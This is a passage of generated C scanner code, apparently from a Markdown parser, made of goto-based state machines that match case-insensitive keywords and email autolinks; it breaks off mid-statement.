yy244: yych = *++p; if (yych == 'I') goto yy277; if (yych == 'i') goto yy277; goto yy31; yy245: yych = *++p; if (yych == 'P') goto yy278; if (yych == 'p') goto yy278; goto yy31; yy246: yych = *++p; if (yych <= 'X') { if (yych <= 'K') { if (yych == 'B') goto yy279; goto yy31; } else { if (yych <= 'L') goto yy280; if (yych <= 'W') goto yy31; goto yy281; } } else { if (yych <= 'k') { if (yych == 'b') goto yy279; goto yy31; } else { if (yych <= 'l') goto yy280; if (yych == 'x') goto yy281; goto yy31; } } yy247: yych = *++p; if (yych == 'C') goto yy282; if (yych == 'c') goto yy282; goto yy31; yy248: yych = *++p; if (yych == 'R') goto yy161; if (yych == 'r') goto yy161; goto yy31; yy249: yych = *++p; if (yych == 'G') goto yy137; if (yych == 'g') goto yy137; goto yy31; yy250: yych = *++p; if (yych == 'L') goto yy59; if (yych == 'l') goto yy59; goto yy31; yy251: yych = *++p; if (yych == 'T') goto yy137; if (yych == 't') goto yy137; goto yy31; yy252: yych = *++p; if (yych == 'E') goto yy283; if (yych == 'e') goto yy283; goto yy31; yy253: yych = *++p; if (yych == 'A') goto yy284; if (yych == 'a') goto yy284; goto yy31; yy254: yych = *++p; if (yych == 'O') goto yy285; if (yych == 'o') goto yy285; goto yy31; yy255: yych = *++p; if (yych == 'R') goto yy257; if (yych == 'r') goto yy257; goto yy31; yy256: yych = *++p; if (yych == 'D') goto yy286; if (yych == 'd') goto yy286; goto yy31; yy257: yych = *++p; if (yych == 'C') goto yy137; if (yych == 'c') goto yy137; goto yy31; yy258: yych = *++p; if (yych == 'O') goto yy53; if (yych == 'o') goto yy53; goto yy31; yy259: yych = *++p; if (yych == 'B') goto yy287; if (yych == 'b') goto yy287; goto yy31; yy260: yych = *++p; if (yych == 'F') goto yy216; if (yych == 'f') goto yy216; goto yy31; yy261: yych = *++p; if (yych == 'P') goto yy288; if (yych == 'p') goto yy288; goto yy31; yy262: yych = *++p; if (yych == 'E') goto yy78; if (yych == 'e') goto yy78; goto yy31; yy263: yych = *++p; if (yych == '0') goto yy39; goto yy31; yy264: yych = *++p; if (yych == 'L') goto yy39; if (yych == 'l') goto yy39; goto yy31; yy265: yych = *++p; if (yych == '4') goto yy39; goto yy31; yy266: yych = *++p; if (yych == 'I') goto yy42; if (yych == 'i') goto yy42; goto yy31; yy267: yych = *++p; if (yych == 'S') goto yy289; if (yych == 's') goto yy289; goto yy31; yy268: yych = *++p; if (yych == 'Y') goto yy105; if (yych == 'y') goto yy105; goto yy31; yy269: yych = *++p; if (yych == 'U') goto yy290; if (yych == 'u') goto yy290; goto yy31; yy270: yych = *++p; if (yych == 'C') goto yy221; if (yych == 'c') goto yy221; goto yy31; yy271: yych = *++p; if (yych == '0') goto yy291; goto yy31; yy272: yych = *++p; if (yych == 'T') goto yy292; if (yych == 't') goto yy292; goto yy31; yy273: yych = *++p; if (yych == 'M') goto yy199; if (yych == 'm') goto yy199; goto yy31; yy274: yych = *++p; if (yych == '-') goto yy293; if (yych == ':') goto yy125; goto yy31; yy275: yych = *++p; if (yych == 'E') goto yy294; if (yych == 'e') goto yy294; goto yy31; yy276: yych = *++p; if (yych == 'L') goto yy295; if (yych == 'l') goto yy295; goto yy31; yy277: yych = *++p; if (yych == 'M') goto yy137; if (yych == 'm') goto yy137; goto yy31; yy278: yych = *++p; if (yych == 'R') goto yy296; if (yych == 'r') goto yy296; goto yy31; yy279: yych = *++p; if (yych == 'E') goto yy297; if (yych == 'e') goto yy297; goto yy31; yy280: yych = *++p; if (yych == 'W') goto yy298; if (yych == 'w') goto yy298; goto yy31; yy281: yych = *++p; if (yych == 'P') goto yy299; if (yych == 'p') goto yy299; goto yy31; yy282: yych = *++p; if (yych == 'R') goto yy300; if (yych == 'r') goto yy300; goto yy31; yy283: yych = *++p; if (yych == 'L') goto yy301; if (yych == 'l') goto yy301; goto yy31; yy284: yych = *++p; if (yych == 'Z') goto yy302; if (yych == 'z') goto yy302; goto yy31; yy285: yych = *++p; if (yych == 'R') goto yy36; if (yych == 'r') goto yy36; goto yy31; yy286: yych = *++p; if (yych == 'L') goto yy303; if (yych == 'l') goto yy303; goto yy31; yy287: yych = *++p; if (yych == 'E') goto yy304; if (yych == 'e') goto yy304; goto yy31; yy288: yych = *++p; if (yych == 'E') goto yy305; if (yych == 'e') goto yy305; goto yy31; yy289: yych = *++p; if (yych == 'O') goto yy217; if (yych == 'o') goto yy217; goto yy31; yy290: yych = *++p; if (yych == 'S') goto yy306; if (yych == 's') goto yy306; goto yy31; yy291: yych = *++p; if (yych <= 'Q') goto yy31; if (yych <= 'S') goto yy39; if (yych <= 'q') goto yy31; if (yych <= 's') goto yy39; goto yy31; yy292: yych = *++p; if (yych == 'R') goto yy133; if (yych == 'r') goto yy133; goto yy31; yy293: yych = *++p; if (yych == 'E') goto yy307; if (yych == 'e') goto yy307; goto yy31; yy294: yych = *++p; if (yych == 'N') goto yy308; if (yych == 'n') goto yy308; goto yy31; yy295: yych = *++p; if (yych == 'A') goto yy309; if (yych == 'a') goto yy309; goto yy31; yy296: yych = *++p; if (yych == 'O') goto yy310; if (yych == 'o') goto yy310; goto yy31; yy297: yych = *++p; if (yych == 'E') goto yy59; if (yych == 'e') goto yy59; goto yy31; yy298: yych = *++p; if (yych == 'Z') goto yy39; if (yych == 'z') goto yy39; goto yy31; yy299: yych = *++p; if (yych == 'C') goto yy114; if (yych == 'c') goto yy114; goto yy31; yy300: yych = *++p; if (yych == 'I') goto yy311; if (yych == 'i') goto yy311; goto yy31; yy301: yych = *++p; if (yych == 'O') goto yy312; if (yych == 'o') goto yy312; goto yy31; yy302: yych = *++p; if (yych == 'Z') goto yy52; if (yych == 'z') goto yy52; goto yy31; yy303: yych = *++p; if (yych == 'I') goto yy313; if (yych == 'i') goto yy313; goto yy31; yy304: yych = *++p; if (yych == 'E') goto yy143; if (yych == 'e') goto yy143; goto yy31; yy305: yych = *++p; if (yych == 'A') goto yy135; if (yych == 'a') goto yy135; goto yy31; yy306: yych = *++p; if (yych == 'E') goto yy314; if (yych == 'e') goto yy314; goto yy31; yy307: yych = *++p; if (yych == 'X') goto yy315; if (yych == 'x') goto yy315; goto yy31; yy308: yych = *++p; if (yych == 'T') goto yy316; if (yych == 't') goto yy316; goto yy31; yy309: yych = *++p; if (yych == 'Y') goto yy317; if (yych == 'y') goto yy317; goto yy31; yy310: yych = *++p; if (yych == 'J') goto yy318; if (yych == 'j') goto yy318; goto yy31; yy311: yych = *++p; if (yych == 'P') goto yy37; if (yych == 'p') goto yy37; goto yy31; yy312: yych = *++p; if (yych == 'C') goto yy319; if (yych == 'c') goto yy319; goto yy31; yy313: yych = *++p; if (yych == 'F') goto yy137; if (yych == 'f') goto yy137; goto yy31; yy314: yych = *++p; if (yych == 'R') goto yy47; if (yych == 'r') goto yy47; goto yy31; yy315: yych = *++p; if (yych == 'T') goto yy320; if (yych == 't') goto yy320; goto yy31; yy316: yych = *++p; if (yych == 'B') goto yy321; if (yych == 'b') goto yy321; goto yy31; yy317: yych = *++p; if (yych <= 'S') { if (yych == 'C') goto yy322; if (yych <= 'R') goto yy31; goto yy323; } else { if (yych <= 'c') { if (yych <= 'b') goto yy31; goto yy322; } else { if (yych == 's') goto yy323; goto yy31; } } yy318: yych = *++p; if (yych == 'E') goto yy50; if (yych == 'e') goto yy50; goto yy31; yy319: yych = *++p; if (yych == 'K') goto yy324; if (yych == 'k') goto yy324; goto yy31; yy320: yych = *++p; if (yych == 'E') goto yy325; if (yych == 'e') goto yy325; goto yy31; yy321: yych = *++p; if (yych == 'R') goto yy326; if (yych == 'r') goto yy326; goto yy31; yy322: yych = *++p; if (yych == 'O') goto yy327; if (yych == 'o') goto yy327; goto yy31; yy323: yych = *++p; if (yych == 'I') goto yy328; if (yych == 'i') goto yy328; goto yy31; yy324: yych = *++p; if (yych == 'T') goto yy329; if (yych == 't') goto yy329; goto yy31; yy325: yych = *++p; if (yych == 'N') goto yy167; if (yych == 'n') goto yy167; goto yy31; yy326: yych = *++p; if (yych == 'I') goto yy330; if (yych == 'i') goto yy330; goto yy31; yy327: yych = *++p; if (yych == 'N') goto yy331; if (yych == 'n') goto yy331; goto yy31; yy328: yych = *++p; if (yych == 'N') goto yy332; if (yych == 'n') goto yy332; goto yy31; yy329: yych = *++p; if (yych == 'O') goto yy333; if (yych == 'o') goto yy333; goto yy31; yy330: yych = *++p; if (yych == 'T') goto yy334; if (yych == 't') goto yy334; goto yy31; yy331: yych = *++p; if (yych == 'T') goto yy335; if (yych == 't') goto yy335; goto yy31; yy332: yych = *++p; if (yych == 'G') goto yy211; if (yych == 'g') goto yy211; goto yy31; yy333: yych = *++p; if (yych == 'K') goto yy336; if (yych == 'k') goto yy336; goto yy31; yy334: yych = *++p; if (yych == 'E') goto yy337; if (yych == 'e') goto yy337; goto yy31; yy335: yych = *++p; if (yych == 'A') goto yy338; if (yych == 'a') goto yy338; goto yy31; yy336: yych = *++p; if (yych == 'E') goto yy53; if (yych == 'e') goto yy53; goto yy31; yy337: yych = *++p; if (yych == '-') goto yy339; goto yy31; yy338: yych = *++p; if (yych == 'I') goto yy340; if (yych == 'i') goto yy340; goto yy31; yy339: yych = *++p; if (yych == 'A') goto yy341; if (yych == 'a') goto yy341; goto yy31; yy340: yych = *++p; if (yych == 'N') goto yy202; if (yych == 'n') goto yy202; goto yy31; yy341: yych = *++p; if (yych == 'T') goto yy342; if (yych != 't') goto yy31; yy342: yych = *++p; if (yych == 'T') goto yy343; if (yych != 't') goto yy31; yy343: yych = *++p; if (yych == 'E') goto yy344; if (yych != 'e') goto yy31; yy344: yych = *++p; if (yych == 'N') goto yy345; if (yych != 'n') goto yy31; yy345: yych = *++p; if (yych == 'D') goto yy346; if (yych != 'd') goto yy31; yy346: yych = *++p; if (yych == 'E') goto yy137; if (yych == 'e') goto yy137; goto yy31; } } // Try to match email autolink after first <, returning num of chars matched. int _scan_autolink_email(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; static const unsigned char yybm[] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 128, 128, 128, 128, 128, 0, 0, 128, 128, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 0, 0, 128, 0, 128, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 0, 0, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; yych = *p; if (yych <= ',') { if (yych <= '!') { if (yych == '\n') goto yy349; if (yych <= ' ') goto yy350; goto yy351; } else { if (yych <= '\'') { if (yych <= '"') goto yy350; goto yy351; } else { if (yych <= ')') goto yy350; if (yych <= '+') goto yy351; goto yy350; } } } else { if (yych <= '?') { if (yych <= '<') { if (yych <= '9') goto yy351; goto yy350; } else { if (yych == '>') goto yy350; goto yy351; } } else { if (yych <= 'Z') { if (yych <= '@') goto yy350; goto yy351; } else { if (yych <= ']') goto yy350; if (yych <= '~') goto yy351; goto yy350; } } } yy349: { return 0; } yy350: ++p; goto yy349; yy351: yych = *(marker = ++p); if (yych <= ',') { if (yych <= '"') { if (yych == '!') goto yy353; goto yy349; } else { if (yych <= '\'') goto yy353; if (yych <= ')') goto yy349; if (yych <= '+') goto yy353; goto yy349; } } else { if (yych <= '>') { if (yych <= '9') goto yy353; if (yych == '=') goto yy353; goto yy349; } else { if (yych <= 'Z') goto yy353; if (yych <= ']') goto yy349; if (yych <= '~') goto yy353; goto yy349; } } yy352: yych = *++p; yy353: if (yybm[0+yych] & 128) { goto yy352; } if (yych <= '>') goto yy354; if (yych <= '@') goto yy355; yy354: p = marker; goto yy349; yy355: yych = *++p; if (yych <= '@') { if (yych <= '/') goto yy354; if (yych >= ':') goto yy354; } else { if (yych <= 'Z') goto yy356; if (yych <= '`') goto yy354; if (yych >= '{') goto yy354; } yy356: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy358; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy358; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy358; goto yy354; } } yych = *++p; if (yych <= '9') { if (yych == '-') goto yy361; if (yych <= '/') goto yy354; goto yy362; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy362; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy362; goto yy354; } } yy358: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych <= '-') goto yy361; goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy362; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy362; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy362; goto yy354; } } yy359: ++p; { return (p - start); } yy361: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy363; if (yych <= '/') goto yy354; goto yy364; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy364; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy364; goto yy354; } } yy362: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy364; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy364; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy364; goto yy354; } } yy363: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy365; if (yych <= '/') goto yy354; goto yy366; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy366; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy366; goto yy354; } } yy364: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy366; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy366; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy366; goto yy354; } } yy365: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy367; if (yych <= '/') goto yy354; goto yy368; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy368; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy368; goto yy354; } } yy366: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy368; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy368; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy368; goto yy354; } } yy367: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy369; if (yych <= '/') goto yy354; goto yy370; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy370; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy370; goto yy354; } } yy368: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy370; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy370; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy370; goto yy354; } } yy369: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy371; if (yych <= '/') goto yy354; goto yy372; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy372; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy372; goto yy354; } } yy370: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy372; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy372; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy372; goto yy354; } } yy371: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy373; if (yych <= '/') goto yy354; goto yy374; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy374; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy374; goto yy354; } } yy372: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy374; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy374; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy374; goto yy354; } } yy373: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy375; if (yych <= '/') goto yy354; goto yy376; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy376; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy376; goto yy354; } } yy374: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy376; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy376; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy376; goto yy354; } } yy375: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy377; if (yych <= '/') goto yy354; goto yy378; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy378; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy378; goto yy354; } } yy376: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy378; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy378; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy378; goto yy354; } } yy377: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy379; if (yych <= '/') goto yy354; goto yy380; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy380; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy380; goto yy354; } } yy378: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy380; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy380; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy380; goto yy354; } } yy379: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy381; if (yych <= '/') goto yy354; goto yy382; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy382; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy382; goto yy354; } } yy380: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy382; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy382; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy382; goto yy354; } } yy381: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy383; if (yych <= '/') goto yy354; goto yy384; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy384; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy384; goto yy354; } } yy382: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy384; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy384; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy384; goto yy354; } } yy383: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy385; if (yych <= '/') goto yy354; goto yy386; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy386; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy386; goto yy354; } } yy384: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy386; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy386; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy386; goto yy354; } } yy385: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy387; if (yych <= '/') goto yy354; goto yy388; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy388; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy388; goto yy354; } } yy386: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy388; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy388; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy388; goto yy354; } } yy387: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy389; if (yych <= '/') goto yy354; goto yy390; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy390; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy390; goto yy354; } } yy388: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy390; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy390; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy390; goto yy354; } } yy389: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy391; if (yych <= '/') goto yy354; goto yy392; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy392; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy392; goto yy354; } } yy390: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy392; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy392; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy392; goto yy354; } } yy391: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy393; if (yych <= '/') goto yy354; goto yy394; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy394; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy394; goto yy354; } } yy392: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy394; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy394; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy394; goto yy354; } } yy393: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy395; if (yych <= '/') goto yy354; goto yy396; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy396; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy396; goto yy354; } } yy394: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy396; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy396; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy396; goto yy354; } } yy395: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy397; if (yych <= '/') goto yy354; goto yy398; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy398; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy398; goto yy354; } } yy396: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy398; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy398; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy398; goto yy354; } } yy397: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy399; if (yych <= '/') goto yy354; goto yy400; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy400; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy400; goto yy354; } } yy398: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy400; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy400; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy400; goto yy354; } } yy399: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy401; if (yych <= '/') goto yy354; goto yy402; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy402; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy402; goto yy354; } } yy400: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy402; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy402; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy402; goto yy354; } } yy401: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy403; if (yych <= '/') goto yy354; goto yy404; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy404; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy404; goto yy354; } } yy402: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy404; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy404; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy404; goto yy354; } } yy403: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy405; if (yych <= '/') goto yy354; goto yy406; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy406; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy406; goto yy354; } } yy404: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy406; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy406; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy406; goto yy354; } } yy405: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy407; if (yych <= '/') goto yy354; goto yy408; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy408; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy408; goto yy354; } } yy406: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy408; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy408; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy408; goto yy354; } } yy407: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy409; if (yych <= '/') goto yy354; goto yy410; } else { if (yych <= 'Z') { if (yych <= '@') goto yy354; goto yy410; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy410; goto yy354; } } yy408: yych = *++p; if (yych <= '=') { if (yych <= '.') { if (yych <= ',') goto yy354; if (yych >= '.') goto yy355; } else { if (yych <= '/') goto yy354; if (yych <= '9') goto yy410; goto yy354; } } else { if (yych <= 'Z') { if (yych <= '>') goto yy359; if (yych <= '@') goto yy354; goto yy410; } else { if (yych <= '`') goto yy354; if (yych <= 'z') goto yy410; goto yy354; } } yy409: yych = *++p; if (yych <= '9') { if (yych == '-') goto yy411; if (yych 